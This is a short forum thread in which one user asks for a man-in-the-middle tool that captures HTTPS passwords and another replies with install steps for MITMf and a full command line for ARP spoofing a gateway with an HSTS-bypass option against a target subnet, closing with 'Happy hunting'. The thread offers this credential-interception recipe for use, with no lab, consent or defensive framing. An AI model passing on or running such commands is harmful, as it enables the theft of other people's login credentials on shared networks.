Mitm

[machx]

Hi Guys

Any MITM for Https password sniffers?

Tried Bettercap doesnt sniff Https password.

Thanks for any suggestions.

[Pax]

Hey Machx

Yep, if you're on Kali, try MITMF (partial HSTS bypass attack)

apt-get update
apt-cache search mitmf
apt-get install mitmf if it's there

try something along the these lines
python mitmf.py -i wlan0 --spoof --arp --gateway <gateway_ip> --targets IP-of_targets --hsts

the targets bit can be omitted, defaults to current subnet.

Happy hunting

/Pax

[machx]

Thanks Pax for the reply,

I have installed bettercap and MITMF, does it sniff HTTPS passwords?

Like how Yamas.sh use to do?

Thanks.